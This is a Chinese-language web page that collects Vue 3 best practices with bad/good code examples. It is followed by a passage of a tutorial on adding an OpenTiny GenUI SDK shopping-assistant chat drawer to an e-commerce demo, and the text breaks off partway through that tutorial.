- 昂贵的更新被触发过于频繁 -> [updated-hook-performance](references/updated-hook-performance.md)

## 5) 完成前的最终自检

- 核心行为正常工作且符合需求。
- 所有必读参考资料都已阅读并应用。
- 响应式模型是最小化且可预测的。
- SFC 结构和模板规则得到遵循。
- 组件职责聚焦且拆分合理,必要时进行了拆分。
- 入口/根和路由视图组件保持作为组合层,除非有明确的小演示例外。
- 组件拆分决策是明确的且可辩护的(职责边界清晰)。
- 数据流契约是显式的且带类型的。
- 在复用/复杂度合理的地方使用了 composables。
- 适用的地方将状态/副作用移入了 composables。
- 只在需求明确时才使用可选功能。
- 性能更改只在功能完成后才应用。


第一部分:响应式核心(Reactivity Core)

github.com/vuejs-ai/sk…

1. shallowRef vs ref:不是选哪个的问题

很多人以为这是性能优化选项,其实不是。这是一个关于"更新语义"的选择

// 场景:你经常替换整个值(重新获取、重置等)→ 用 ref
const user = ref(null)
user.value = await fetchUser() // 触发更新,整个user被替换

// 场景:你只替换顶层,但内部属性会变(不可变数据风格)→ 用 shallowRef
const user = shallowRef(null)
user.value = { name: 'Alice', age: 30 }
user.value.age = 31 // ❌ 不触发更新
user.value = { ...user.value, age: 31 } // ✅ 触发更新

// 场景:外部库实例、class实例 → 用 shallowRef
const canvas = shallowRef(new Canvas())
// 什么时候用 reactive
// 场景:表单、单个状态对象,经常就地修改属性
const form = reactive({
  username: '',
  password: '',
  remember: false
})
form.username = 'alice' // 方便
// ❌ 避免:form = reactive({...}) 整个替换

核心原则ref()适合经常重新赋值的场景,reactive()适合就地修改的场景,shallowRef()适合你不希望Vue深层代理的对象。

2. computed的五个正确用法

① 永远不要在computed里写副作用

// ❌ BAD
const doubled = computed(() => {
  if (count.value > 10) console.warn('太大了!')
  return count.value * 2
})

// ✅ GOOD - 用watch处理副作用
const doubled = computed(() => count.value * 2)
watch(count, (val) => {
  if (val > 10) console.warn('太大了!')
})

② 过滤/排序不要写在模板里

<!-- ❌ BAD - 每次渲染都重新计算 -->
<li v-for="item in items.filter(item => item.active).sort(...)">
  {{ item.name }}
</li>

<!-- ❌ BAD - 调用函数也是同样的问题 -->
<li v-for="item in getSortedItems()">

<!-- ✅ GOOD -->
<script setup>
const visibleItems = computed(() =>
  items.value
    .filter(item => item.active)
    .sort((a, b) => a.name.localeCompare(b.name))
)
</script>
<template>
  <li v-for="item in visibleItems">
</template>

③ 用computed处理动态class/style

<!-- ❌ BAD -->
<button :class="{ 'btn-primary': type === 'primary' && !disabled, 'btn-disabled': disabled }">

<!-- ✅ GOOD -->
<script setup>
const buttonClasses = computed(() => ({
  btn: true,
  [`btn-${props.type}`]: !props.disabled,
  'btn-disabled': props.disabled
}))
</script>
<template>
  <button :class="buttonClasses">
</template>

3. watch的正确姿势

① 用immediate: true替代重复的onMounted调用

// ❌ BAD
const userId = ref(1)
onMounted(() => loadUser(userId.value))
watch(userId, (id) => loadUser(id))

// ✅ GOOD
watch(userId, (id) => loadUser(id), { immediate: true })

② 异步清理是搜索框的救星

// 当用户快速输入时,取消上一个请求
const query = ref('')
const results = ref<string[]>([])

watch(query, async (q, _prev, onCleanup) => {
  const controller = new AbortController()
  onCleanup(() => controller.abort()) // 关键:自动取消

  const res = await fetch(`/api/search?q=${encodeURIComponent(q)}`, {
    signal: controller.signal,
  })
  results.value = await res.json()
})

4. reactive的正确打开方式

禁止直接解构

// ❌ BAD - 丢失响应式
const { count } = reactive({ count: 0 })

// ✅ GOOD - 用toRefs保持响应式
const state = reactive({ count: 0 })
const { count } = toRefs(state)
watch(count, ...) // 现在能watch了

watch的正确姿势

// ❌ BAD - 传了非getter值
watch(state.count, () => {...})

// ✅ GOOD - 用getter
watch(() => state.count, () => {...})
// 或
watch(count, () => {...}) // 通过toRefs解构出来的ref

第二部分:组件模式(Component Patterns)

github.com/vuejs-ai/sk…

5. Slots的五个正确做法

① 用简写语法 # 替代 v-slot:

<!-- ❌ BAD -->
<MyComponent>
  <template v-slot:header>...</template>
</MyComponent>

<!-- ✅ GOOD -->
<MyComponent>
  <template #header>...</template>
</MyComponent>

② 可选插槽要加v-if检查

<!-- ❌ BAD - 没有header时依然渲染空的header标签 -->
<template>
  <article class="card">
    <header class="card-header">
      <slot name="header" />
    </header>
  </article>
</template>

<!-- ✅ GOOD -->
<template>
  <article class="card">
    <header v-if="$slots.header" class="card-header">
      <slot name="header" />
    </header>
  </article>
</template>

③ TypeScript项目用defineSlots定义插槽类型

<script setup lang="ts">
defineProps<{ products: Product[] }>()

defineSlots<{
  default(props: { product: Product; index: number }): any
  empty(): any
}>()
</script>

④ 给插槽提供兜底内容

<!-- ❌ BAD -->
<button type="submit" class="btn-primary">
  <slot />
</button>

<!-- ✅ GOOD -->
<button type="submit" class="btn-primary">
  <slot>Submit</slot>
</button>

⑤ 纯逻辑复用优先用Composables

<!-- ❌ BAD - 用renderless组件做纯逻辑复用 -->
<MouseTracker v-slot="{ x, y }">
  <p>{{ x }}, {{ y }}</p>
</MouseTracker>

<!-- ✅ GOOD -->
<script setup>
const { x, y } = useMouse()
</script>
<template>
  <p>{{ x }}, {{ y }}</p>
</template>

6. 组件数据流的正确理解

Props是单向的,永远不要在子组件里修改props

<!-- ❌ BAD -->
<script setup>
const props = defineProps({ count: Number })
function increment() {
  props.count++ // ❌ 禁止
}
</script>

<!-- ✅ GOOD - 正确的做法 -->
<script setup>
const props = defineProps({ count: Number })
const emit = defineEmits(['update'])
function increment() {
  emit('update', props.count + 1)
}
</script>

defineModel简化v-model(Vue 3.4+)

<!-- ❌ BAD - Vue 3.4之前的写法 -->
<script setup>
const props = defineProps({ modelValue: String })
const emit = defineEmits(['update:modelValue'])
</script>
<template>
  <input :value="props.modelValue" @input="emit('update:modelValue', $event.target.value)" />
</template>

<!-- ✅ GOOD - Vue 3.4+ -->
<script setup>
const model = defineModel({ type: String })
</script>
<template>
  <input v-model="model" />
</template>

Provide/Inject用Symbol Keys避免冲突

// ❌ BAD - 字符串key可能冲突
provide('theme', theme)

// ✅ GOOD - Symbol唯一性 + TypeScript类型支持
import type { InjectionKey } from 'vue'
export const themeKey: InjectionKey<Theme> = Symbol('theme')
provide(themeKey, theme)

7. Fallthrough Attributes的正确访问方式

属性名要用方括号访问

<script setup>
const attrs = useAttrs()

// ❌ 这些都访问不到
attrs.data-testid    // 语法错误
attrs.dataTestid     // undefined
attrs['on-click']    // undefined
attrs['@click']      // undefined

// ✅ 正确的访问方式
attrs['data-testid']
attrs['aria-label']
attrs.onClick        // 事件监听器用onX
</script>

useAttrs()不是响应式的

<script setup>
// ❌ BAD - 这个watch永远不会触发
watch(() => attrs.class, (newVal) => {
  console.log(newVal) // Never runs
})

// ✅ GOOD - 用onUpdated
onUpdated(() => {
  console.log('Latest attrs:', attrs)
})

// ✅ 或者:promote到props
const props = defineProps({ class: String })
watch(() => props.class, (newVal) => {...})
</script>

第三部分:异步与缓存

github.com/vuejs-ai/sk…

8. 异步组件的懒加载策略

在SSR中使用延迟水合

<script setup>
import {
  defineAsyncComponent,
  hydrateOnVisible,   // 进入视口时水合
  hydrateOnIdle       // 空闲时水合
} from 'vue'

// 评论组件:用户滚动到视口才水合
const AsyncComments = defineAsyncComponent({
  loader: () => import('./Comments.vue'),
  hydrate: hydrateOnVisible({ rootMargin: '100px' })
})

// 页脚:5ms空闲时水合
const AsyncFooter = defineAsyncComponent({
  loader: () => import('./Footer.vue'),
  hydrate: hydrateOnIdle(5000)
})
</script>

防止加载闪烁

<script setup>
// ❌ BAD - delay:0 会在网络快时闪一下
const AsyncDashboard = defineAsyncComponent({
  loader: () => import('./Dashboard.vue'),
  loadingComponent: LoadingSpinner,
  delay: 0  // 太短了
})

// ✅ GOOD - delay:200 足够短不显眼,足够长不闪动
const AsyncDashboard = defineAsyncComponent({
  loader: () => import('./Dashboard.vue'),
  loadingComponent: LoadingSpinner,
  errorComponent: ErrorDisplay,
  delay: 200,      // 默认值,通常最合适
  timeout: 30000
})
</script>

9. KeepAlive的正确使用

不是所有缓存都是好的

<!-- ✅ 应该用KeepAlive的场景: -->
<!-- 标签页切换 -->
<KeepAlive>
  <component :is="currentTab" />
</KeepAlive>

<!-- ❌ 不该用KeepAlive的场景: -->
<!-- 搜索页 - 用户期望每次新鲜结果 -->
<!-- 地图/大表格 - 内存消耗大 -->
<!-- 敏感流程 - 退出时必须清理 -->

必须设置max限制缓存大小

<!-- ❌ BAD - 无限缓存 -->
<KeepAlive>
  <component :is="currentView" />
</KeepAlive>

<!-- ✅ GOOD - 最多缓存5个 -->
<KeepAlive :max="5">
  <component :is="currentView" />
</KeepAlive>

缓存失效的正确方式

<script setup>
const currentView = ref('Dashboard')
const viewKeys = reactive({ Dashboard: 0, Settings: 0 })

function invalidateCache(view) {
  viewKeys[view]++
}
</script>

<template>
  <KeepAlive>
    <component :is="currentView" :key="`${currentView}-${viewKeys[currentView]}`" />
  </KeepAlive>
</template>

10. Suspense的嵌套与触发机制

必须给default和fallback都包一个根节点

<!-- ❌ BAD -->
<Suspense>
  <AsyncHeader />
  <AsyncList />
  <template #fallback>
    <LoadingSpinner />
    <LoadingHint />
  </template>
</Suspense>

<!-- ✅ GOOD -->
<Suspense>
  <div> <!-- 必须包一层 -->
    <AsyncHeader />
    <AsyncList />
  </div>
  <template #fallback>
    <div>
      <LoadingSpinner />
      <LoadingHint />
    </div>
  </template>
</Suspense>

Pending状态只在根节点变化时触发

<!-- ❌ BAD - 异步工作发生在深层,但Suspense只跟踪根节点 -->
<Suspense>
  <TabContainer>
    <AsyncDashboard v-if="tab === 'dashboard'" />
    <AsyncSettings v-else />
  </TabContainer>
</Suspense>

<!-- ✅ GOOD - 根节点是动态的 -->
<Suspense>
  <component :is="tabs[tab]" :key="tab" />
</Suspense>

组件嵌套顺序

<!-- ✅ 正确的嵌套顺序:RouterView -> Transition -> KeepAlive -> Suspense -->
<RouterView v-slot="{ Component }">
  <Transition mode="out-in">
    <KeepAlive>
      <Suspense>
        <component :is="Component" />
        <template #fallback>Loading...</template>
      </Suspense>
    </KeepAlive>
  </Transition>
</RouterView>

第四部分:性能优化

github.com/vuejs-ai/sk…

11. v-oncev-memo:跳过不必要的更新

v-once:静态内容只渲染一次

<template>
  <!-- ❌ BAD - 每次渲染都检查 -->
  <div class="terms-content">
    <h1>Terms of Service</h1>
    <p>Version: {{ termsVersion }}</p>
  </div>

  <!-- ✅ GOOD - 渲染一次后跳过 -->
  <div class="terms-content" v-once>
    <h1>Terms of Service</h1>
    <p>Version: {{ termsVersion }}</p>
  </div>
</template>

v-memo:列表项选择性更新

<template>
  <!-- ❌ BAD - selectedId变化时所有1000项都重渲染 -->
  <div v-for="item in list" :key="item.id">
    <div :class="{ selected: item.id === selectedId }">
      <ExpensiveComponent :data="item" />
    </div>
  </div>

  <!-- ✅ GOOD - 只有选中项变化的那两项重渲染 -->
  <div
    v-for="item in list"
    :key="item.id"
    v-memo="[item.id === selectedId]"
  >
    <div :class="{ selected: item.id === selectedId }">
      <ExpensiveComponent :data="item" />
    </div>
  </div>
</template>

12. 大列表虚拟化:50+项就开始考虑

<!-- ❌ BAD - 渲染10000项 = 10000个DOM节点 -->
<template>
  <div class="user-list">
    <UserCard v-for="user in users" :key="user.id" :user="user" />
  </div>
</template>

<!-- ✅ GOOD - 只渲染可见的~20项 -->
<template>
  <RecycleScroller class="user-list" :items="users" :item-size="80" key-field="id" v-slot="{ item }">
    <UserCard :user="item" />
  </RecycleScroller>
</template>

<script setup>
import { RecycleScroller } from 'vue-virtual-scroller'
import 'vue-virtual-scroller/dist/vue-virtual-scroller.css'
</script>

<style scoped>
.user-list {
  height: 600px; /* 必须有固定高度 */
}
</style>

推荐库对比

适用场景
vue-virtual-scroller 通用场景,最流行
@tanstack/vue-virtual 复杂布局,headless设计
vue-virtual-scroll-grid 网格布局

13. 避免列表中的过度组件抽象

<!-- ❌ BAD - 每项UserCard创建5个组件实例 -->
<!-- UserCard.vue -->
<template>
  <Card>           <!-- 组件#1 -->
    <CardHeader>   <!-- 组件#2 -->
      <UserAvatar /> <!-- 组件#3 -->
    </CardHeader>
    <CardBody>     <!-- 组件#4 -->
      <Text>{{ user.name }}</Text>
    </CardBody>
  </Card>
</template>

<!-- 100个用户 = 500个组件实例 -->

<!-- ✅ GOOD - 扁平化结构 -->
<template>
  <div class="user-card">
    <div class="card-header">
      <img :src="user.avatar" :alt="user.name" class="avatar" />
    </div>
    <div class="card-body">
      <span class="user-name">{{ user.name }}</span>
    </div>
  </div>
</template>

<!-- 100个用户 = 100个组件实例 -->

14. updated钩子里的禁忌

<script setup>
// ❌ BAD - updated里调用API,每次渲染都触发
onUpdated(() => {
  fetch('/api/sync', { method: 'POST', body: JSON.stringify(items.value) })
})

// ❌ BAD - 在updated里修改状态 = 无限循环
onUpdated(() => {
  renderCount.value++ // 触发更新 → 再次调用onUpdated → 无限循环!
})

// ✅ GOOD - 用watch精确控制
watch(items, (newItems) => {
  syncToServer(newItems)
}, { deep: true })

// ✅ GOOD - 只用于DOM同步
onUpdated(() => {
  if (scrollContainer.value) {
    scrollContainer.value.scrollTop = scrollContainer.value.scrollHeight
  }
})
</script>

第五部分:样式与动画

github.com/vuejs-ai/sk…

15. SFC样式规范

始终用scoped样式

<!-- ❌ BAD -->
<style>
button { border-radius: 999px; } /* 全局污染 */
</style>

<!-- ✅ GOOD -->
<style scoped>
.btn-primary { border-radius: 999px; }
</style>

用class选择器而非元素选择器

<!-- ❌ BAD - 元素选择器性能差,且样式脆弱 -->
<style scoped>
article { max-width: 800px; }
h1 { font-size: 2rem; }
</style>

<!-- ✅ GOOD -->
<style scoped>
.article { max-width: 800px; }
.article-title { font-size: 2rem; }
</style>

v-if vs v-show的选择标准

<template>
  <!-- 频繁切换 → 用v-show,保持DOM只切换display -->
  <ComplexPanel v-show="isPanelOpen" />

  <!-- 很少显示/初始成本高 → 用v-if,初始渲染时才创建 -->
  <AdminPanel v-if="isAdmin" />
</template>

16. Transition组件的正确用法

只包裹单个元素

<!-- ❌ BAD -->
<Transition name="fade">
  <h3>Title</h3>
  <p>Description</p>
</Transition>

<!-- ✅ GOOD -->
<Transition name="fade">
  <div>
    <h3>Title</h3>
    <p>Description</p>
  </div>
</Transition>

同元素类型切换要加key

<!-- ❌ BAD - 相同<p>标签,Vue复用元素,不触发动画 -->
<Transition name="fade">
  <p v-if="isActive">Active</p>
  <p v-else>Inactive</p>
</Transition>

<!-- ✅ GOOD -->
<Transition name="fade" mode="out-in">
  <p v-if="isActive" key="active">Active</p>
  <p v-else key="inactive">Inactive</p>
</Transition>

只使用transform和opacity做动画

<style>
/* ❌ BAD - 触发重排重绘,性能差 */
.slide-enter-active,
.slide-leave-active {
  transition: height 0.3s ease;
}

/* ✅ GOOD - GPU加速,只触发重绘 */
.slide-enter-active,
.slide-leave-active {
  transition: transform 0.3s ease, opacity 0.3s ease;
}
</style>

17. TransitionGroup的列表动画

必须用稳定唯一key

<!-- ❌ BAD - 用index做key会导致动画错位 -->
<TransitionGroup name="list" tag="ul">
  <li v-for="(item, index) in items" :key="index">
</TransitionGroup>

<!-- ✅ GOOD -->
<TransitionGroup name="list" tag="ul">
  <li v-for="item in items" :key="item.id">
</TransitionGroup>

交错动画

<template>
  <TransitionGroup
    tag="ul"
    :css="false"
    @before-enter="onBeforeEnter"
    @enter="onEnter"
  >
    <li v-for="(item, index) in items" :key="item.id" :data-index="index">
      {{ item.name }}
    </li>
  </TransitionGroup>
</template>

<script setup>
function onBeforeEnter(el) {
  el.style.opacity = 0
  el.style.transform = 'translateY(12px)'
}

function onEnter(el, done) {
  const delay = Number(el.dataset.index) * 80 // 每项延迟80ms
  setTimeout(() => {
    el.style.transition = 'all 0.25s ease'
    el.style.opacity = 1
    el.style.transform = 'translateY(0)'
    setTimeout(done, 250)
  }, delay)
}
</script>

18. 状态驱动的CSS动画

鼠标跟随

<template>
  <div class="container" @mousemove="onMousemove">
    <div class="follower" :style="{ transform: `translate(${x}px, ${y}px)` }" />
  </div>
</template>

<script setup>
const x = ref(0)
const y = ref(0)

function onMousemove(e) {
  const rect = e.currentTarget.getBoundingClientRect()
  x.value = e.clientX - rect.left
  y.value = e.clientY - rect.top
}
</script>

<style>
.follower {
  transition: transform 0.1s ease-out; /* 平滑跟随 */
  pointer-events: none;
}
</style>

19. 基于类的反馈动画

shake、pulse等效果

<template>
  <div :class="{ shake: showError }">
    <button @click="submitForm">Submit</button>
    <span v-if="showError">Error occurred!</span>
  </div>
</template>

<script setup>
const showError = ref(false)

function submitForm() {
  if (!isValid()) {
    showError.value = true
    setTimeout(() => showError.value = false, 820) // 匹配动画时长
  }
}
</script>

<style>
.shake {
  animation: shake 0.82s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
  transform: translate3d(0, 0, 0); /* 启用GPU加速 */
}
</style>

用animationend自动清理

<script setup>
const isAnimating = ref(false)
function triggerAnimation() {
  isAnimating.value = true
  // 动画结束时自动重置,不需要setTimeout
}
</script>

<template>
  <div :class="{ animate: isAnimating }" @animationend="isAnimating = false">
    Content
  </div>
</template>

第六部分:工具与扩展

github.com/vuejs-ai/sk…

20. 指令(Directives)的正确姿势

只用于DOM访问

// ❌ BAD - 复杂行为应该用组件或composable
const vShowPassword = {
  mounted(el) {
    el.addEventListener('click', () => {
      el.type = el.type === 'password' ? 'text' : 'password'
    })
  }
}

// ✅ GOOD - 函数简写用于单钩子
const vFocus = (el) => el.focus()

// ✅ GOOD - 完整对象用于多钩子+清理
const vResize = {
  mounted(el) {
    const observer = new ResizeObserver(() => {})
    observer.observe(el)
    el._observer = observer
  },
  unmounted(el) {
    el._observer?.disconnect() // 必须清理
  }
}

TypeScript类型增强

import type { Directive } from 'vue'

type HighlightValue = string

export const vHighlight = {
  mounted(el, binding) {
    el.style.backgroundColor = binding.value
  }
} satisfies Directive<HTMLElement, HighlightValue>

declare module 'vue' {
  interface ComponentCustomProperties {
    vHighlight: typeof vHighlight
  }
}

SSR要实现getSSRProps

const vTooltip = {
  mounted(el, binding) {
    el.setAttribute('data-tooltip', binding.value)
    el.classList.add('has-tooltip')
  },
  getSSRProps(binding) { // 必须实现,避免水合不匹配
    return {
      'data-tooltip': binding.value,
      class: 'has-tooltip'
    }
  }
}

21. 插件(Plugins)的正确写法

符合app.use()契约

import type { App, Plugin } from 'vue'

interface MyOptions {
  apiKey: string
  debug?: boolean
}

// ✅ GOOD - 对象形式
const myPlugin: Plugin<[MyOptions]> = {
  install(app: App, options: MyOptions) {
    app.provide(serviceKey, createService(options))
  }
}

// ✅ GOOD - 函数形式
function simplePlugin(app: App, options?: { message: string }) {
  app.config.globalProperties.$greet = () => options?.message ?? 'Hello!'
}

app.use(myPlugin, { apiKey: 'xxx', debug: true })

用Symbol Keys防止冲突

import type { InjectionKey } from 'vue'
import type { AxiosInstance } from 'axios'

export const httpKey: InjectionKey<AxiosInstance> = Symbol('http')
export const configKey: InjectionKey<AppConfig> = Symbol('appConfig')

// 提供注入helper,缺失时抛出明确错误
export function useAuth(): AuthService {
  const auth = inject(authKey)
  if (!auth) {
    throw new Error('Auth plugin not installed. Did you forget app.use(authPlugin)?')
  }
  return auth
}

22. 渲染函数(Render Functions)的必要模式

优先用模板,只在必要时用渲染函数

<!-- ❌ BAD - 简单场景用渲染函数 -->
<script setup>
import { h, ref } from 'vue'
const count = ref(0)
const render = () => h('div', `Count: ${count.value}`)
</script>

<!-- ✅ GOOD - 用模板 -->
<script setup>
const count = ref(0)
</script>
<template>
  <div>Count: {{ count }}</div>
</template>

列表必须有key

// ❌ BAD
return () => h('ul',
  items.value.map(item => h('li', item.name))
)

// ✅ GOOD
return () => h('ul',
  items.value.map(item => h('li', { key: item.id }, item.name))
)

事件修饰符要用withModifiers

import { h, withModifiers, withKeys } from 'vue'

// ❌ BAD
const handleClick = (e) => {
  e.stopPropagation()
  e.preventDefault()
}

// ✅ GOOD
h('button', {
  onClick: withModifiers(handleClick, ['stop', 'prevent'])
}, 'Click')

总结:这些技巧的共同主题

通读这22个最佳实践,你会发现几个贯穿始终的主题:

1. 响应式要精确

  • 什么时候用ref/reactive/shallowRef不是随意的,是根据更新模式决定的
  • watch要精准触发,computed要纯净无副作用

2. 组件边界要清晰

  • Props down, events up是铁律
  • Slots是API设计,不是实现技巧
  • Provide/Inject用Symbol避免魔法字符串

3. 性能要测量后优化

  • v-once/v-memo是给真正需要优化的地方用的
  • 大列表虚拟化有明确阈值(50+项)
  • 组件抽象不是越少越好,也不是越多越好

4. SSR有额外的坑

  • 异步组件要考虑水合策略
  • 指令需要getSSRProps
  • 状态管理不能用运行时单例

5. 动画要选对工具

  • 入离场 → Transition
  • 列表 → TransitionGroup
  • 停留在DOM里的反馈 → class绑定

这套Skills的真正价值在于:它把Vue团队的踩坑经验整理成了可以直接照着做的模式。下次你写Vue代码时,可以对照检查清单看看是否用对了这些模式。


延伸阅读

生成式 UI 藏大招!看似露营案例,实则电商集成 GenUI SDK 干货

本文由云软件体验技术团队岑灌铭原创。从露营趣味案例入手,详解电商系统集成 GenUI SDK 完整实操~

背景

时针拨过周一晚上十点,XX大学男生寝室 502 里充斥着键盘敲击声和偶尔的鼾声。大二学生小明,一个典型的“行动派热血青年”,正瘫在床上刷着朋友圈。

突然,他的手指停住了。屏幕上是隔壁班班花发的一组九宫格:精致的摩洛哥风帐篷、摇曳的煤油灯、噼啪作响的篝火,背景是浩瀚星空。配文:“周末,逃离城市,枕着星星入眠。”

小明感觉心脏被重重击中了。一种名为“我也要去”的冲动像野火一样在胸中燃烧。 “这才是大学生活!我也要去露营!就这周末!”

1.png

作为小白,没有经验的他只好求助AI。根据推荐清单,小明在某某电商网站中,完成多轮“搜索-挑选-加购”后。结算时才发现超预算了。囊中羞涩的小明发出了悲怨之声,老王在了解了情况后。给他推荐了一个神奇的网站。小明输入完露营需求后,导购助手自动为他推荐了露营的高性价比装备。 小明可以轻松地完成一键加购和结算。

下面就来看一下这个神奇的电商网站:

2.gif

智能导购背后的“黑科技”

这个神奇网站的智能导购助手,正是基于 OpenTiny GenUI SDK 开发而成的。它是 OpenTiny 团队基于生成式 UI(Generative UI)理念倾力打造的开源开发方案,具备完备的前后端一体化集成能力。

在之前的文章中,我们曾介绍过 GenUI SDK 的核心能力与开发特性,错过的同学可以点击回顾:

在大家对 GenUI 的基本概念有所了解后,下面我们将深入剖析这个“导购助手”的具体实现逻辑。通过下方的详细集成指导,你可以按照手册步骤,一步步在自己的项目中复刻这种智能交互体验。

💡 小贴士:  如果你觉得这个案例对你的项目有启发,或者想一窥“智能导购”背后的源码实现,欢迎访问我们的 GitHub 仓库:github.com/opentiny/ge…

点上 Star ⭐ 不迷路,不仅是对开源精神的支持,也方便你日后随时定位组件用法与技术文档!

集成指导

在开始集成之前,需要先下载相关源码。下面附上集成前的原始工程与集成完成后的完整示例,方便对照参考:

Demo 工程地址: github.com/opentiny/ge…

集成对比分支:

  • 集成前(原始电商工程):raw-e-commerce
  • 集成后(完成智能导购集成):main

如果你更喜欢边看边做,我们也准备了生成式 UI 专题直播的完整回放,其中包含手把手的代码实战环节,跟着视频回放中的代码实战环节一步步操作,轻松复刻完整效果:

直播回放:www.bilibili.com/video/BV1DM…

1. 集成目标

在电商前端系统中集成「AI 导购助手」功能,实现以下核心能力,为用户提供智能、便捷的购物引导体验:

  • 通过 GenuiChat 组件展示对话界面及生成式 UI 内容,实现自然交互
  • 借助 MCP 工具调用电商系统原生能力,实现商品实时搜索
  • 渲染与电商系统风格统一的自定义商品卡片组件,保证视觉一致性
  • 支持 AI 触发核心业务交互:商品加购、商品详情跳转、购物车跳转

2. 前置准备

2.1 环境要求

确保本地开发环境满足以下版本要求,避免依赖兼容问题:

  • Node.js 版本 ≥ 18
  • pnpm 版本 ≥ 10

2.2 安装项目依赖

在项目仓库根目录执行以下命令,安装项目基础依赖:

pnpm install

依赖安装完毕后,就可以启动并体验一下原始电商系统了~

运行以下命令可以运行电商系统项目

pnpm -F e-commerce dev

运行成功后,点击控制台的链接跳转到浏览器就可以看到商城的首页了:

3.png

2.3 启动 GenUI 后端服务

按照以下步骤启动 GenUI 后端服务,为前端提供大模型对话能力:

  1. 进入项目 server目录,复制环境变量示例文件并进行配置: cd server然后cp .env.example .env
  2. 编辑 server/.env 文件,至少配置以下核心参数(确保服务正常运行):
    1. API_KEY:你的模型服务密钥(必填)
    2. BASE_URL:模型服务地址(需兼容 OpenAI 接口格式,必填)
    3. PORT:服务运行端口(默认值为 3100,可按需修改)
  3. server目录下运行命令: pnpm dev

服务启动成功后,控制台会输出提示信息:genui-sdk-server is running on http://localhost:3100 说明:大模型对话接口地址为 http://localhost:3100/chat/completions,后续前端将通过该接口与后端交互。
至此,GenUI 后端服务准备完成,接下来进行前端项目改造,实现智能导购助手的集成。

3. 前端安装 GenUI 相关依赖

在 packages/e-commerce 目录下,需安装以下 GenUI 相关依赖,用于实现对话组件、MCP 工具调用等功能:

  • @opentiny/genui-sdk-vue:GenUI 核心组件库(提供 GenuiChat 等组件)
  • @modelcontextprotocol/sdk:MCP 协议 SDK,用于工具开发与调用
  • zod:参数校验工具,确保接口及工具调用参数规范
  • openai:OpenAI 兼容接口 SDK,用于与大模型交互

在仓库根目录执行以下命令,精准安装依赖至 e-commerce 包:

pnpm -F e-commerce add @opentiny/genui-sdk-vue @modelcontextprotocol/sdk openai zod

4. 集成 GenuiChat:生成式 UI 初体验

先实现最小可运行版本的 AI 导购助手,核心目标:成功打开对话界面,发送消息后能正常接收大模型返回结果,验证基础交互链路通畅。

4.1 新建 AI 对话助手组件

在 src/components 目录下创建 AIAssistantDrawer.vue组件,实现 AI 导购助手的侧边抽屉布局、对话窗口及基础操作功能,代码如下:

代码核心功能:创建 AI 导购助手侧边抽屉组件,包含布局、对话窗口及打开/关闭、新建对话等基础操作

<script setup lang="ts">
import { computed, ref, type ComponentPublicInstance } from 'vue'
import { GenuiChat, GenuiConfigProvider } from '@opentiny/genui-sdk-vue'

const props = defineProps<{
  modelValue: boolean
}>()

const emit = defineEmits<{
  (e: 'update:modelValue', value: boolean): void
}>()

type GenuiChatExposed = ComponentPublicInstance & {
  handleNewConversation: () => void
}

const chatRef = ref<GenuiChatExposed | null>(null)
const theme = ref<'dark' | 'lite' | 'light'>('light')
const model = ref('deepseek-v3.2')
const temperature = ref(0)

const chatConfig = {
  addToolCallContext: false,
  showThinkingResult: true,
}

const chatUrl = 'http://localhost:3100/chat/completions'

function closeDrawer() {
  emit('update:modelValue', false)
}

function startNewConversation() {
  chatRef.value?.handleNewConversation()
}

</script>

<template>
  <Teleport to="body">
    <Transition name="drawer-fade">
      <div v-if="modelValue" class="assistant-layer" @click.self="closeDrawer">
        <aside class="assistant-drawer" aria-label="AI 导购助手">
          <header class="assistant-drawer__header">
            <div>
              <h2>AI 导购助手</h2>
            </div>
            <div class="assistant-drawer__actions" role="toolbar" aria-label="助手操作">
              <button type="button" class="assistant-drawer__action" @click="startNewConversation">
                新建对话
              </button>
              <button type="button" class="assistant-drawer__close" @click="closeDrawer">关闭</button>
            </div>
          </header>

          <section class="assistant-drawer__content">
            <div class="assistant-chat">
              <GenuiConfigProvider :theme="theme">
                <GenuiChat
                  ref="chatRef"
                  :url="chatUrl"
                  :model="model"
                  :temperature="temperature"
                  :chat-config="chatConfig"
                />
              </GenuiConfigProvider>
            </div>
          </section>
        </aside>
      </div>
    </Transition>
  </Teleport>
</template>

<style scoped>
.drawer-fade-enter-active,
.drawer-fade-leave-active {
  transition: opacity 0.2s ease;
}

.drawer-fade-enter-from,
.drawer-fade-leave-to {
  opacity: 0;
}

.assistant-layer {
  position: fixed;
  inset: 0;
  z-index: 75;
  background: rgba(17, 8, 38, 0.26);
  display: flex;
  justify-content: flex-end;
}

.assistant-drawer {
  width: min(600px, 95vw);
  height: 100%;
  background: #fcf9ff;
  border-left: 1px solid #e5d9ff;
  box-shadow: -12px 0 34px rgba(20, 8, 41, 0.24);
  display: flex;
  flex-direction: column;
}

.assistant-drawer__header {
  padding: 16px;
  border-bottom: 1px solid #eadfff;
  display: flex;
  justify-content: space-between;
  gap: 12px;
}

.assistant-drawer__header h2 {
  margin: 0;
  color: #20133c;
  font-size: 18px;
}

.assistant-drawer__header p {
  margin: 4px 0 0;
  color: #73668d;
  font-size: 12px;
}

.assistant-drawer__actions {
  display: flex;
  flex-shrink: 0;
  align-items: flex-start;
  gap: 8px;
}

.assistant-drawer__action,
.assistant-drawer__close {
  border: 1px solid #ddcff9;
  background: #fff;
  color: #5e4e79;
  border-radius: 8px;
  height: 32px;
  padding: 0 10px;
  cursor: pointer;
  font-size: 13px;
  white-space: nowrap;
}

.assistant-drawer__action {
  border-color: #c4b5fd;
  color: #4c1d95;
  background: #f5f3ff;
}

.assistant-drawer__action:hover {
  background: #ede9fe;
}

.assistant-drawer__content {
  min-height: 0;
  flex: 1;
}

.assistant-chat {
  height: 100%;
}

.assistant-chat :deep(.tiny-config-provider) {
  height: 100%;
}

@media (max-width: 760px) {
  .assistant-drawer {
    width: 100vw;
  }
}
</style>

组件创建完成后,需在 App.vue 中引入并使用,同时添加悬浮球控件,用于控制 AI 导购助手的显示与隐藏。

引入并使用 AIAssistantDrawer 组件

核心功能:在 App.vue 中引入 AI 导购助手组件,并定义控制组件显示/隐藏的响应式变量

import AIAssistantDrawer from './components/AIAssistantDrawer.vue'
import { ref } from 'vue'

const assistantOpen = ref(false)

在模板中添加悬浮球控件(任意位置)

核心功能:添加悬浮球按钮,点击可打开 AI 导购助手,同时显示待结算商品数量

<button
  class="assistant-fab"
  type="button"
  aria-label="打开 AI 导购助手"
  @click="assistantOpen = true"
>
  <span class="assistant-fab__dot">AI</span>
  <span class="assistant-fab__text">
    导购助手
    <small v-if="totalCount > 0">{{ totalCount }} 件待结算</small>
  </span>
</button>

